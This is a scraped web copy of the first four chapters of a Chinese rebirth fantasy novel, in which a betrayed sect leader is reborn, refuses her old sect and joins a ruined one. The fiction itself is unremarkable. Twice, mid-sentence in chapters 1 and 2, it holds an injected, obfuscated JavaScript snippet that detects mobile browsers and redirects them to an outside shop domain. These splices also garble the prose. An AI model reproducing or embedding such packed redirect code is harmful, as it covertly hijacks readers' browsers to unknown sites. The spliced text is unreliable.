《师门上下都有病》 1. 第 1 章 魔气如墨,浸透了天衍宗山门外最后一线天光。 曲忧背抵着冰凉震颤的护山大阵光壁,眼睁睁看着那道象征着宗门最后屏障的金色光膜,在她面前一寸寸合拢。 光膜之内,是她守护了整整一百二十八年的同门,是她视若亲长的师父,是她一手带大的师弟师妹们,他们站在那里,或沉默,或侧目,或面无表情。 “掌门师姐,魔族势大,为了宗门传承……请你,再为宗门牺牲一次吧。”小师妹白若薇被大师兄护在身后,只露出一张梨花带雨,我见犹怜的脸,声音却清晰地穿透了阵法嗡鸣和远处魔物的嘶吼,钻进曲忧的耳朵里。 牺牲? 曲忧想笑,嘴角却只扯出一个僵硬的弧度,喉咙里泛上浓重的铁锈味。 她低头,看向自己染血的掌心,那里灵力已然枯竭,为了维持这护山大阵到最后一线,她耗尽了元婴内最后一口本源真气,此刻经脉寸断,金丹黯淡,与凡人无异。 可换来的是什么? 是把她这个“碍事”的掌门,亲手推出阵外,献给魔潮,以换取阵法完全闭合,庇护宗门其他人的宝贵时间? “忧儿,”师父清虚真人的声音终于响起,带着她熟悉的,却在此刻冰冷彻骨的叹息,“你的道,便是守护宗门。今日之局,非你所愿,亦非为师所愿……但,宗门需要延续。” 哈。 曲忧终于低低地笑出了声,笑声嘶哑,带着血沫。 一百多年,她从懵懂少女被师父带上山,引气入体,筑基结丹,碎丹成婴,接过掌门重担。 她为这个宗门殚精竭虑,平衡各方势力,开拓资源秘境,甚至因为宗门琐事缠身,一次次主动放弃了外出寻找机缘,突破更高境界的机会。 她以为,她的道,是守护。 守护这片山门,守护门中弟子,守护师父的期望,守护“天下第一宗”的荣光。 可原来,在所有人眼里,她的守护,她的付出,不过是理所当然。 甚至当需要一块“垫脚石”时,她会成为最顺手,也最不会被在意的那个选择。 “我……”曲忧张口,想问问师父,想问问那些避开她视线的长老,想问问她曾悉心指导过的弟子们,我可曾,有负于天衍宗分毫? 然而,肆虐的魔潮没有给她问出这句话的机会。 黑色粘稠,充满腐蚀与怨念的魔气如同决堤的洪水,终于冲垮了外围最后的防御禁制,咆哮着向她席卷而来。 视野瞬间被浓郁的黑暗吞没,皮肤传来被千万根毒针同时穿刺的剧痛,骨髓仿佛都要被魔气冻结侵蚀。 剧痛中,时间仿佛被拉长。 无数画面在她濒临涣散的识海中飞速闪过—— 是初入山门时,师父摸着她头顶,说她根骨清奇,心性纯善,将来必成大器; 是她第一次成功炼制出筑基丹,兴奋地跑去献给师父,师父含笑点头,转手却将丹药给了刚刚入门,灵根普通却哭得可怜的白若薇,对她说:“你是师姐,要让着师妹。” 是她结婴大典上,万众瞩目,却收到师父传音,说宗门与凌云阁交界处有秘境异动,需掌门亲自坐镇,她毫不犹豫提前离场,奔赴边陲,错过了稳固境界的最佳时机; 是白若薇一次次“不小心”打翻她整理的宗门卷宗,“无意间”在她修炼时引发骚动,每次事后都红着眼眶道歉,而师父和师兄们总会说:“若薇年纪小,不懂事,你是掌门,要大度。” 是她为了给白若薇寻找洗练灵根的“琉璃净水”,独闯危机四伏的远古秘境,重伤而归,修为停滞十年,而白若薇靠着净水提升灵根纯度后,只是甜甜地说:“谢谢师姐,师姐最好了。” 是她发现宗门库房资源流向异常,暗中调查,却屡屡受阻,最终查到与几位实权长老有关,她欲按门规处置,师父却出面压下,语重心长:“忧儿,水至清则无鱼,宗门安稳为重。” 是她……在生命的最后百年,几乎放弃了个人修行,日夜埋首于宗门事务,调和矛盾,开拓财源,培养弟子,将天衍宗打理得井井有条,声望日隆。 她换来的是什么? 是此刻,被同门亲手推向死亡时,那些或躲闪,或冷漠,甚至隐含快意的眼神。 值得吗? 魂魄在魔气侵蚀下开始溃散,意识沉入无边黑暗的刹那,一点奇异的光芒,突兀地在识海最深处炸开! 那不是记忆的回光返照,而是庞大到恐怖的信息流,粗暴地,不容抗拒地涌入她即将消散的魂体—— 《团宠修仙:小师妹她人见人爱》。 一本书。 而她,曲忧,是这本书里,第一章就点明的,注定要被所有读者唾弃的恶毒反派——天衍宗掌门。 书中写道,她嫉恨天生玲珑道体,纯善可爱的小师妹白若薇,处处打压,抢夺其机缘,陷害其好友,最终恶行败露,被全师门厌弃,在魔族来袭时,因自私怯战被关在护山大阵外,死于魔潮,尸骨无存,大快人心。 书中还写,她死后,天衍宗在其大师兄墨尘,也就是男主带领下,携手小师妹白若薇这位女主,揭露她更多“罪行”,清理门户,宗门气象一新。 不……不是这样的…… 那些“打压”,是白若薇自己炼器失败炸了丹房,她身为掌门前去查看,询问原由,在白若薇哭诉后反而拿出自己的材料帮她弥补; 那些“抢夺机缘”,是她按照门规,将秘境中无主的灵药分配给贡献最大的弟子,而白若薇明明贡献平平,却觉得“师姐有的我也该有”,私下抱怨,传成了她“抢”; 那些“陷害同门”,更是无稽之谈,是白若薇与其他弟子争执后自己失足跌落山崖,却模糊其词,引得爱慕者猜疑到她头上…… 她没有做过!一件都没有做过!! 可为什么,书里写得言之凿凿,为什么,同门们都信了?为什么,连最后将她推出来送死,都成了罪有应得? 记忆的碎片与书中的“剧情”疯狂对撞,融合。 曲忧突然想起来了。 原来,她从来就不是这个世界的人。 她来自一个遥远模糊,被称为“现代”的地方,是一位救死扶伤的医学生,因为意外死亡而穿书,失去了前世记忆,只以为自己是此界土著。 原来这个世界是一本书,而她,是书中那个注定要被主角团踩在脚下,用以衬托主角光辉的反派炮灰。 她一百多年年的真心付出,在“剧情”和“主角光环”面前,不值一提。 他们需要的不是一个尽心尽力的掌门,而是一个衬托“团宠”小师妹善良美好的背景板,一个推动“男女主”感情和事业的垫脚石。 多么可笑,又多么可悲。 意识彻底沉沦的最后一瞬,曲忧想,若有来世…… 不,不要来世。 她再也不要做天衍宗的曲忧,不要做任何人的掌门,不要为任何人牺牲。 她只想,为自己活一次。 哪怕,只活一次。 剧烈的窒息感猛地攫住喉咙,眼前黑暗破碎,刺目的天光涌入。 曲忧踉跄一下,下意识地伸手扶住身边冰冷坚硬的物体,触感是粗糙的石质纹理,带着微微的灵气波动。 她急促地喘息着,新鲜的,充满灵气的空气涌入肺腑,带着青草与山花的淡淡香气,与记忆中魔气的腥臭腐朽截然不同。 还没等她看清周围,一道温和而不失威严的声音在前方高处响起: “小姑娘,莫要紧张。将手放在验灵石上即可。” 验灵石? 曲忧猛地抬头。 映入眼帘的,是熟悉巍峨庄严的天衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491774|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗山门。 汉白玉的牌楼高耸入云,其上“天衍宗”三个古朴大字在阳光下流转着淡淡的金色道韵。 牌楼之下,是九级青玉台阶,台阶之上,设着数张紫檀木椅,椅上坐着数位气息渊深,服饰华贵的身影。 为首一人,身着天青色道袍,面容清矍,三缕长须,眼神温润中带着审视,正是她的师父,天衍宗掌门清虚真人一百多年年前的模样。 而她自己,正站在山门广场中央,周围是密密麻麻,年龄不一的少男少女,个个面带紧张、兴奋或憧憬。 她的手掌,正按在身前一块半人高的,剔透如水晶的菱形巨石上。 巨石底部,正爆发出耀眼夺目的、冰蓝色的光华,冲天而起,映亮了半片天空,也映亮了高台上那些人骤然亮起,充满惊喜与贪婪的目光。 “天品变异冰灵根!”有长老失声惊呼。 “好!好苗子!此女合该入我天衍宗!” 嘈杂的议论声浪般涌来,但曲忧却觉得那些声音无比遥远。 她只是呆呆地看着自己按在验灵石上的,白皙纤细,属于十五岁少女的手。 没有经年累月处理宗门事务留下的薄茧,没有因强行催动灵力而崩裂的伤口,没有沾染同门或魔族的鲜血。 她重生了。 重生回了一切尚未开始,她刚刚检测出逆天灵根,即将被天衍宗如获至宝,收入门墙的这一刻。 前一刻被魔气撕裂魂魄的痛苦尚且残留,被至亲同门背叛推入死地的冰冷绝望还冻结在心口,而下一刻,她却站在了阳光灿烂,充满希望的起点,面对着她曾经最敬仰,最终却将她抛弃的师父,和那些未来会将她啃噬得尸骨无存的“同门”。 高台上,清虚真人已经含笑起身,目光灼灼地落在她身上,那眼神她太熟悉了——是对绝世璞玉的欣赏,是对宗门未来的期许,是……对一件好用工具的满意。 他开口,声音温和,带着令人信服的感染力,清晰地传遍整个广场: “小姑娘,根骨绝佳,心性沉稳,甚好。你可愿入我门下,做我清虚的关门弟子?” 此言一出,全场哗然。 掌门亲口收徒,还是关门弟子!这是何等殊荣,多少世家子弟、皇族后裔梦寐以求的机缘! 无数道羡慕嫉妒的探究目光瞬间聚焦在广场中央那个穿着普通布衣,却身负绝世灵根的少女身上。 按照剧情,此刻的曲忧应该欣喜若狂,感激涕零,立刻跪下拜师,从此开启她“反派掌门”的作死之路。 曲忧缓缓地,将手从那冰蓝光华未曾完全消散的验灵石上移开。 指尖冰凉。 她抬起头,迎上清虚真人温和的目光,那双看似温润的眼眸深处,是她前世一百多年都未曾完全看透的深邃与算计。 然后,在所有人期待的目光中,她往后退了一步。 仅仅一步,却仿佛隔开了前世与今生,隔开了忠诚与背叛,隔开了那条通往既定悲剧的,看似光辉万丈的道路。 曲忧抬起手,不是抱拳,也不是作揖,而是双手交叠,行了一个标准的,晚辈对长辈的,带着清晰距离感的躬身礼。 腰弯得很深,姿态无可挑剔。 然后,她直起身,清亮的目光平静地望向高台,望向那个她曾称之为“师父”的人,声音不大,却因广场瞬间的死寂,而清晰地传入每一个人耳中: “晚辈曲忧,多谢真人青眼。” 她顿了顿,在清虚真人微微蹙眉,高台上众人面露不解的注视下,一字一句,清晰地说道: “但,晚辈不愿入天衍宗。” “按修仙界规矩,检测出资质却不拜入门墙者,宗门应赐‘前程礼’,以全缘法。请真人,依规赐礼。” 话音落下,偌大的天衍宗山门广场骤然鸦雀无声。 2. 第 2 章 “你说什么?” 清虚真人的声音依旧温和,但那温和底下,已带上了一丝不易察觉的冷意。 高台之上,那几位原本面带微笑,等着收下这绝世璞玉的长老,笑容也僵在了脸上。 广场四周,无数道目光聚焦在曲忧身上,震惊、不解、荒唐,犹如实质。 曲忧抬起头,目光平静地迎上清虚真人深邃的眼。 那张曾让她孺慕、敬畏了百余年的面孔,此刻清晰映在她眼中,再无半分前世的滤镜。 她看得分明,那温和表象下,是一宗之主对脱离掌控的苗头本能的不悦,是对“不识抬举”的轻微恼怒,或许,还有一丝被当众驳了面子的难堪。 这些细微的情绪,前世懵懂的她或许看不透,如今却洞若观火。 她微微吸了口气,将心底那丝源于长久敬畏的残余悸动压下去,声音清晰地重复,一字一顿,确保每个人都能听清: “按修仙界自古流传的规矩,凡于宗门收徒大典验出资质者,若不愿拜入该宗门,该宗门应赐下‘前程礼’,以全缘法,亦显大度,而后任其自由择路。晚辈曲忧,天品冰灵根,不愿入天衍宗。请真人,依规赐礼。” 规矩是规矩,天下皆知,但千百年来,几乎无人会这么做。 尤其是在天衍宗这样的天下第一宗门前,验出绝世灵根却拒绝入门?这无异于当面打脸,还是抡圆了胳膊,使足了力气的那种。 高台上一片死寂,旋即哗然。 “胡闹!”一位面容古板的长老率先按捺不住,呵斥出声,“天品灵根,万年难遇,正该入我天衍宗悉心栽培,方不负上天所赐!你这女娃,莫非得了失心疯?” “是啊,掌门真人亲口收徒,这是何等机缘?怎能如此不知好歹!”另一位长老摇头,看向曲忧的眼神已带上了轻蔑与不耐。 “大师兄,你看她……”未来的二师姐,如今还是个娇俏少女,扯了扯身旁墨尘的袖子,小声嘀咕,语气里满是不解和一丝不易察觉的埋怨。 掌门关门弟子的位置何等尊贵,这人竟然不要? 墨尘此刻尚是年轻俊朗,意气风发的掌门首徒,他微微蹙眉,看着台下那个脊背挺得笔直,眼神却清冷得有些过分的布衣少女,心中掠过一丝异样。 这女孩,太平静了,平静得不像个十五岁的孩子,倒像……看透了什么。 清虚真人抬手,止住了身后的低声议论,他深深地看着曲忧,目光锐利如剑,仿佛要穿透她的皮囊,看清她灵魂深处真实的想法。 属于化神修士的淡淡威压,不动声色地弥漫开来,笼罩在曲忧身上。 若是寻常炼气期都未入的凡人少女,在这般威压下,早已心神失守,战战兢兢。 曲忧却只是觉得呼吸略微一滞,她面色不变,甚至迎着那目光,轻轻眨了眨眼。 清虚真人眼底飞快闪过一丝讶异,此女心性,果然不凡,可惜太过桀骜,不识抬举。 “你可想清楚了?”他缓缓开口,声音里听不出喜怒,却带着沉甸甸的分量,“天衍宗乃天下第一宗,资源、功法、名师,皆是顶尖。入我门下,前途不可限量。” “出了这个门,这偌大修真界,危机四伏,机缘难寻。你天资虽佳,若无庇护引路,怕是明珠蒙尘,甚至夭折途中。” 这番话,看似劝导,实则已是隐隐的威胁,点明利弊,告诉她离开天衍宗的庇护将寸步难行。 若是前世的曲忧,或许会惶恐,会犹豫。 但现在的曲忧,只是觉得有些可笑。天衍宗的“庇护”?就是将她养成一个合格的,最终被推出去送死的掌门工具吗?天衍宗的“前途”?就是那条通往魔潮,尸骨无存的绝路吗? 她微微扬起下巴,那张尚显稚嫩的脸上,是毫不掩饰的坚定与疏离。 “晚辈,想清楚了。” 声音不大,却斩钉截铁,再无转圜余地。 广场上落针可闻,所有人都看着那个少女,看着她在一片哗然与威压中,孤零零地站在那里,却像一株生在悬崖边的青松,任尔东西南北风。 清虚真人的脸色,终于彻底沉了下来,他盯着曲忧看了足足三息,忽然拂袖转身,坐回椅中。 “既如此,依规办事。”他声音冷淡,“执事,取一百下品灵石,赐予此女,作为‘前程礼’。” “一百下品灵石?!”先前那古板长老几乎要跳起来。 天品灵根,只值一百下品灵石?这简直是侮辱!传出去,天衍宗的脸面…… “规矩便是规矩。”清虚真人闭目,不再看台下,“灵石多少,皆有定例,她既依规索礼,我宗便依规赐予。自此,两不相欠。” 很快,一名执事弟子捧着一个不起眼的布袋,快步走下高台,将布袋递给曲忧。 那弟子眼神复杂,有惋惜,有不解,也有一丝隐隐的“不识好歹”的嘲弄。 曲忧伸手接过,布袋入手轻飘飘,一百下品灵石,对曾经的元婴掌门而言,连零钱都算不上,但此刻,这轻飘飘的布袋,却仿佛有千斤重。 这是买断。 买断她与天衍宗之间,本就不该存在的,错误的“缘法”。 也是她新生的,第一笔启动资金。 她将布袋收入怀中,再次对着高台方向,行了一礼。 是告别。 是割席。 是斩断前尘。 然后,曲忧转身。 没有再看那些或惊愕或鄙夷或探究的目光,没有再看高台上闭目养神却气息沉凝的清虚真人,没有再看那位未来会将她推向深渊的“小师妹”白若薇。 此刻,白若薇正睁着一双水汪汪的大眼睛,好奇又略带同情地看着她,似乎想说什么,却被身旁的师兄轻轻拉住。 曲忧迈开脚步,穿过自动分开,眼神各异的人群,走向那巍峨的、曾被她视为“家”的汉白玉山门。 阳光洒在她身上,有些暖,驱散了心底最后一丝因回忆带来的寒意。 她深吸一口气。 山风带着草木清香涌入胸腔,涤荡尽最后一点残留的郁气。 终于,自由了。 山脚下,喧嚣渐远,天衍宗收徒大典的热闹被隔绝在山门之后。 曲忧没有停留,甚至没有回头看一眼那矗立在云雾中的庞大宗门,径直走向附近的散修聚集的坊市。 坊市不大,鱼龙混杂,摆摊的、吆喝的、讨价还价的、眼神闪烁打量行人的……烟火气与江湖气扑面而来,与天衍宗那种秩序井然的仙家气象截然不同。 曲忧找了家客人不多不少的茶摊,花了两块下品灵石,要了壶最便宜的清茶,坐下来,慢慢啜饮,耳朵却竖了起来。 “听说了吗?天衍宗今年出了个天品冰灵根!” “何止听说,那动静,隔老远都看见了!冰蓝光柱冲天的!” “天品啊……啧,真是人比人气死人。诶,那丫头入了天衍宗,以后岂不是要一飞冲天?” “飞什么冲天,奇了怪了,听说那丫头当场拒绝了,愣是没拜师,只要了‘前程礼’就走了!” “什么?拒绝了天衍宗?疯了吧?!” “谁知道呢,兴许是心比天高,或者另有隐情?” 茶摊上议论纷纷,话题中心自然是刚才山门前的惊天一幕。 曲忧垂着眼,慢慢转着粗陶茶杯,果然,消息传得飞快,这也好,省得她再费口舌解释。 她需要信息,关于其他宗门的信息。 用她前世一百多年年历练出的沉稳心智,和来自另一个世界的冷静分析能力。 已知:天衍宗是火坑,绝不能跳。不仅因为前世遭遇,更因为她知道,那里是原著剧情的主舞台,是女主白若薇的主场。 她这个“反派”再凑上去,无异于自投罗网。 那么,其他大宗门呢?那些在原著中或明或暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491775|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或早或晚都与白若薇产生过联系,或成为其助力,或成为其踏脚石。 她若加入,难保不会再次卷入那该死的剧情漩涡。 她要的,是安全,是远离所有与原著相关的主要势力和人物,是尽可能低调,不起眼地活下去,慢慢修炼,找回属于自己的道。 最好是一个原著里提都没怎么提,或者一笔带过,注定没什么戏份,甚至很快会消失的地方。 思绪转动间,旁边一桌几个看起来常年在底层摸爬滚打的散修对话,飘进了她的耳朵。 “……东边那片‘无名山’知道不?鸟不拉屎的地儿,灵气稀薄得跟没有似的。” “知道知道,不就剩个快散架的归藏宗在那儿杵着吗?听说全宗上下加起来,还不够一巴掌的数,穷得宗主都得下山打秋风,笑死个人。” “归藏宗?好像有点印象……百八十年前似乎还有点名头,后来就销声匿迹了。前阵子路过,好家伙,那山门破的,匾额都快掉下来了,里面估计也就三五个老弱病残,守着点祖宗基业等死吧。” “这种宗门,白送我都不要去,去了能干嘛?喝西北风啊?” 归藏宗? 曲忧心中一动,这个名字……她飞快地在记忆中搜寻。 原著篇幅浩大,对这等边缘得不能再边缘的宗门,似乎只在某个背景描述里,一笔带过地提过一句:“……后来,东域边缘的归藏宗,因得罪魔修,被一夜灭门,无人生还。” 也就是说,这个宗门,注定没有未来,且很快会从世界上消失。 曲忧的眼睛,微微亮了起来。 一个穷得叮当响、快散架的破落宗门,只有三五个人,位于灵气稀薄的边缘地带,无人问津,而且原著明确提到了其覆灭的结局,没有比这更完美的“避风港”了! 去那里,混个弟子身份,低调修炼,等魔修打上门来,反正按照原著时间线,至少还有好些年,她提前溜走便是。 既能避开天衍宗和主线剧情,又能有个暂时安身的地方,简直一举多得。 打定主意,曲忧不再犹豫,她起身,走到那桌散修旁边,露出一个略带腼腆和好奇的笑容,递过去几块下品灵石。 “几位大哥,打扰了。刚才听你们说起‘归藏宗’,小妹初来乍到,想打听一下,这归藏宗具体在无名山哪个方位?怎么去法?” 散修们见她年纪小,衣着普通,又出手还算大方,便收了灵石,七嘴八舌地给她指了路。 “小姑娘,你真想去那归藏宗?不是哥几个吓你,那地方,真不是人待的,去了别说修行,饭都吃不饱!” 曲忧只是微笑听着,不时点头,表示感谢,眼神却始终清澈坚定。 问清了路线,她不再耽搁,离开坊市,在镇口寻了辆最普通的、拉货兼载人的驴车。 车夫是个老实巴交的老汉,听说她要去无名山归藏宗,眼神古怪地看了她好几眼,嘟囔着“那地方邪性”,但看在灵石的份上,还是答应了。 驴车“嘚嘚”地驶出小镇,沿着尘土飞扬的官道,向着东域边缘,那座被称为“无名山”的荒僻山脉行去。 道路越来越颠簸,景色越来越荒凉,远离了天衍宗的仙山福地,灵气浓度明显下降,路旁多是普通的丘陵和树林,偶尔可见零星田地村庄。 曲忧坐在摇晃的驴车上,身下是硬邦邦的木板,怀里揣着那一百下品灵石和几块干粮,目光投向远方渐次起伏、笼罩在淡淡暮霭中的山脉轮廓。 那里,就是无名山了。 归藏宗,一个注定要灭亡的破落宗门。 她未来暂时的“家”。 驴车晃晃悠悠,载着心思各异的两人,慢慢消失在蜿蜒山道的尽头。 山风拂过,带着荒野特有的气息,曲忧闭上眼,感受着这份陌生却真实的颠簸与自由。 前世种种,譬如昨日死。 今生之路,从这辆破驴车开始。 3. 第 3 章 驴车停在一条几乎被荒草淹没的山道前,再不肯往前了。 车夫老汉指着那条蜿蜒向上,消失在密林间的石阶,眼神里带着劝诫:“姑娘,就这儿了。顺着这台阶往上爬,到顶就是,听老汉一句,那地方真不是好去处,现在回头还来得及。” 曲忧付了车资,背起自己那小小的包袱,里面是两套换洗的粗布衣服和一点干粮,天衍宗给的一百下品灵石被她仔细缝在了贴身内袋里。 她对车夫笑了笑,没说什么,转身踏上了那条长满青苔和杂草的石阶。 石阶不知多久没人打理了,湿滑,松动,曲忧爬得有些吃力,汗水很快浸湿了额发。 山林幽深,偶尔传来几声鸟叫虫鸣,灵气稀薄得几乎感觉不到,倒是有股陈年的,寂寥的气息弥漫在空气里。 爬了约莫半个时辰,眼前豁然开朗,山顶到了。 没有想象中的仙家气象,没有巍峨殿宇,甚至连个像样的山门都没有,只有一片勉强算是平整的荒地,中央矗立着一座……道观。 是的,只能称之为道观。灰扑扑的墙壁斑驳脱落,露出里面夯土的底色。屋顶的瓦片缺了不少,长着枯黄的杂草。 唯一能彰显此处并非寻常野庙的,是那块挂在歪斜门楣上的木匾,上面用早已褪色的朱漆写着三个大字:归藏宗。 只是那“宗”字的一竖,漆皮剥落大半,仿佛随时会掉下来。 曲忧站在道观前,沉默了片刻。 心里那点“找个地方躺平”的侥幸,被眼前这实实在在的破败景象击得有点摇晃,这地方比她预想的还要“清静”得多。 她深吸一口气,推开那扇吱呀作响,仿佛随时会散架的木板门。 门内是个小小的院子,同样荒芜,角落堆着些不知名的杂物,院子中央,一把破旧的藤椅里躺着个人。 是个中年男人,穿着一身洗得发白、还打着补丁的灰色道袍,右腿裤管空荡荡地挽着,露出下面一截枯瘦且颜色不正常的小腿。 他怀里抱着个脏兮兮的酒葫芦,正仰面朝天,鼾声如雷,酒气隔着几步远都能闻到。 曲忧的目光在那条不正常的腿上停留了一瞬,随即移开,落在男人邋遢的胡茬和紧闭的眼皮上。 她走上前,在离藤椅几步远的地方停下,规规矩矩地行了个礼:“晚辈曲忧,前来拜师。” 鼾声停了一瞬。 藤椅上的男人懒洋洋地掀开一条眼缝,醉眼朦胧地瞟了她一眼,含糊地嘟囔:“小丫头……走错地方了,这儿不收徒。” 说完,他翻了个身,把后脑勺对着曲忧,又去摸那酒葫芦,活脱脱一副酒鬼样。 曲忧没动,提高了声音,清晰地重复:“晚辈曲忧,诚心拜师,请前辈收留。” “啧。”男人不耐烦地咂了下嘴,这回彻底睁开了眼,用手臂撑着坐起身。 他脸上还带着未散的醉意,眼神却不像刚才那般浑浊,带着点被打扰清梦的不悦,上下打量着曲忧。 这一打量,他眯了眯眼,那点不悦渐渐被一丝讶异取代。 他忽然凑近了些,鼻子微微抽动,像是嗅着什么,目光落在曲忧身上,变得有些锐利,虽然只是一闪而逝。 “天品冰灵根?”男人开口,声音带着宿醉的沙哑,却不再是含糊,“这资质……你去天衍宗,他们不得把你当祖宗供起来?跑我这破观来做什么?” 曲忧心头微凛,这人好厉害的眼力! 隔着这么远,又没动用灵力探查,竟一眼看出了她的灵根品阶?这绝不是一个普通瘸腿酒鬼能做到的。 “不想去。”曲忧垂下眼,避开了对方探究的视线,简单答道。 “不想去?”男人像是听到了什么好笑的事,咧开嘴笑了,露出一口不算白的牙,可那笑容里没什么暖意,反而透着一股说不出的苦涩和自嘲,“天衍宗都不想去的天才,跑来找我这个瘸子拜师?小丫头,你知不知道我这里是什么地方?” 他用那只完好的左脚点了点地面:“归藏宗,从上到下,算上我,拢共五个人。师父我,是个废了一条腿、除了喝酒啥也不会的废人。你那还没见着的师兄师姐们……” 他嗤笑一声:“一个瞎的,一个疯的,一个傻的,还有一个……啧,不提也罢。总之,没一个正常人,也没一个有用的。” 男人盯着曲忧,语气带着劝诫,也带着某种说不清的灰暗:“宗门早就没资源了,连块像样的灵石都抠不出来。功法是残的,丹药是没的,师父是没本事的。” “你来了,不是拜师,是跳火坑,是耽误你自己,趁着天没黑,赶紧下山,找个正经宗门去吧。以你的资质,去哪儿都比在这儿强。” 话说得很重,很直白,几乎是在驱赶了,若是寻常十五岁少女,听到这番“自曝其短”,怕是要被吓退,或者觉得受了侮辱。 但曲忧只是安静地听完,然后抬起头,目光清凌凌地看向他,再次重复,声音不大,却有种磐石般的坚定:“我想留下。” 男人——也就是李玄舟,看着眼前这双眼睛。 很干净,很清澈,没有少年人常见的莽撞热血,也没有被贬低后的愤怒委屈,只有一片沉静的、仿佛经过深思熟虑的坚持。 这不像个孩子该有的眼神。 李玄舟沉默了很久,久到院中只剩下风声和远处隐约的鸟鸣,他脸上的醉意和那点讥诮慢慢褪去,变成一种复杂的,带着审视和一丝极淡疲惫的神情。 最终,他长长地,从胸腔里叹出一口气,那口气仿佛带着陈年的酒臭和积灰。 “行。”李玄舟说,声音有些发闷,“你非要留下,那就留下。不过我话说在前头,归藏宗就这么个情况,你看到的,就是全部,破烂的很。” “没有师徒名分的好处,只有拖累,哪天你后悔了,想走了,随时可以走,我绝不拦着,也没什么可给你的。” 说完,他似乎不想再就这个话题多谈,猛地拔高声音,朝着道观里面吼了一嗓子,中气倒是挺足,震得屋檐下的灰尘簌簌往下掉: “都出来,来小师妹了!别躲里面装死!” 这一嗓子下去,道观里有了动静。 先是东边一间厢房的门“吱呀”一声开了,一个穿着素色衣裙,怀抱一把焦尾古琴的女子,踉踉跄跄地走了出来。 她长得极美,柳眉杏眼,只是此刻眼神涣散,脸颊泛着不正常的潮红,嘴里喃喃自语,声音带着哭腔:“他……他说过会回来的,他说过娶我的……为什么……为什么不回来找我……” 她似乎完全没注意到院子里的曲忧和李玄舟,只沉浸在自己的世界里,抱着琴,指尖无意识地拨动,发出几个破碎哀怨的音符。 曲忧心里微微一沉,这位看来就是“疯的”那位师姐了,看这模样,像是为情所困,心智都有些不清醒了。 还没等她细看,一道小小的身影猛地从旁边窜了出来,带着一股淡淡的、奇异的气味,直扑向她。 “呀,软软的,新来的!” 那是个看起来只有七八岁的小女孩,穿 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然后,石门又缓缓合上,仿佛从未打开过,自始至终,没见到人影。 曲忧:“……” 这应该就是那位“瞎的”大师兄了?真够封闭的。 最后,她的目光,不由自主地飘向了院墙的角落,那里阴影最重,一开始她都没注意到那里还靠着个人。 那是个看起来约莫十七八岁的少年,一身黑衣几乎与阴影融为一体,他抱着一柄看起来平平无奇的铁剑,倚着墙,姿态随意,甚至有些懒散。 似乎察觉到她的注视,少年歪了歪头,视线投了过来。 那一刻,曲忧呼吸下意识地屏住了一瞬。 少年生得极其俊美,是一种近乎妖异的漂亮,皮肤是冷感的白,衬得那双眼睛红得诡异,像是浸了血,又像是燃着暗火。 他眼角下方,有一点小小的,嫣红的泪痣,平添了几分邪气,此刻,他正看着她,嘴角勾着一抹似笑非笑的弧度,眼神直白地在她脸上身上扫过,带着毫不掩饰的打量和一种玩味的兴趣。 “哟,”他开口,声音不高,带着点少年人特有的清冽,却又糅杂着一丝说不出的磁性与危险,“来了个小美人。” 他往前走了半步,从阴影里完全走出来,天光落在他身上,那头鸦羽般的黑发,血色的瞳,那点朱砂痣,愈发鲜明夺目,与这破败灰暗的院子格格不入,却又奇异地吸引着所有人的目光。 曲忧心头重重一跳。 这师门果然如李玄舟所说,没一个正常人。 瞎眼的,疯癫的,半妖痴愚的,还有眼前这个……漂亮得邪气,一看就不好惹的。 然而,奇怪的是,看着这群奇形怪状,各有各的“毛病”,甚至堪称凄惨的同门,曲忧心里那点因为环境破败而产生的动摇和不安,反而慢慢沉淀了下去。 至少,他们真实。 没有天衍宗那种表面的和谐与规矩下的暗流汹涌,没有那些看似光鲜却充满算计的眼神。 曲忧忽然觉得,也许,这里并没有她想象的那么糟糕。 至少,在这里,她不用再扮演什么“掌门”,不用再担心被谁背叛,被谁推出去。 她只需要做曲忧。 一个来“混日子”,顺便看看能不能真的躺平的,新入门的小师妹。 她迎着那黑衣红瞳少年玩味的目光,微微颔首,算是打过招呼,然后转向李玄舟,语气平静:“师父,我住哪?” 4. 第 4 章 李玄舟盯着曲忧看了两秒,似乎在确认她是不是在说反话。 见她神色坦然,目光清正,确实是认真在问住处,他脸上那点复杂的情绪收敛起来,心里嘀咕着这姑娘莫不是傻大胆,看到这种情况都不跑,面上又恢复了之前那副懒洋洋,万事不挂心的模样。 “行吧,”李玄舟摆摆手,指向道观西侧最边上一间看起来相对完整些的屋子,“那间,以前堆杂物的,前几天刚收拾出来,还算干净,至少不漏雨。以后你就住那儿。” 他顿了顿,目光扫过院子里神态各异的几人,又补充道:“我是李玄舟,勉强算是这归藏宗的宗主。那个弹琴的,叫叶知弦,是你二师姐。那个长耳朵的丫头,叫阿绒,是你三师姐。刚才在石头里说话那个,是沈见微,你大师兄。” 李玄舟下巴朝黑衣红瞳的少年那边抬了抬,语气略显含糊:“那个,简自尘,你四师兄。” 说完,他像是完成了什么麻烦的任务,重新抱起酒葫芦,躺回藤椅里,闭上眼睛,含糊地嘟囔:“吃的用的,自己想办法。宗门库房……咳,反正也没什么可库的。没事别来烦我。” 竟是又要睡去。 曲忧对着他行了一礼,又对院中几人点了点头,便背着自己的小包袱,走向那间“至少不漏雨”的偏房。 推开房门,一股淡淡的霉味和灰尘气扑面而来。 